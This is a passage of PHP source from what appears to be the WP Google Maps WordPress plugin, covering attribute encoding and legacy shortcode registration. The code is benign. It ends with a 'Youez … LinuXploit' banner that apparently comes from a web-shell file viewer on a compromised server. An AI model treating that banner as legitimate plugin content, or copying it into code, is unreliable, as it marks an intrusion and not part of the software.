			if(preg_match('/' . $tag . '="(.+)"/', $html, $m) || preg_match('/' . $tag . '=\'(.+)\'/', $html, $m)) {
				/* Leverage Dom Doc Encoding */
				if(!empty($m[1])){
					$encoded = $m[1];
				}
			} else {
				/* Fallback */
				$escaped = esc_attr(json_encode($data));
				$attr = str_replace('\\\\%', '%', $escaped);
				$attr = stripslashes($attr);
				$encoded =  $attr;
			}

			if(empty($encoded)){
				/* Something went wrong with both branches */
				$encoded = json_encode($data);
			}
			return esc_attr($encoded);
		}

		return $data;
	}

	/**
	 * Legacy shortcode relay
	 * 
	 * Simply call the legacy functions for shortcodes, when the user is in Legacy mode
	 * 
	 * @return void
	*/
	public function legacy(){
		global $wpgmza_pro_version;
		if (function_exists('wpgmza_register_pro_version')){
		    if (isset($wpgmza_pro_version) && function_exists('wpgmza_register_gold_version') && version_compare($wpgmza_pro_version, '7.10.29', '<=')) {
				// Deprecated with Pro >= 7.10.30, where legacy-map-edit-page.js is used instead
				add_action('admin_head', 'wpgmaps_admin_javascript_gold');
			}

		    add_shortcode( 'wpgmza', 'wpgmaps_tag_pro' );
		} else {
		    add_shortcode( 'wpgmza', 'wpgmaps_tag_basic' );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit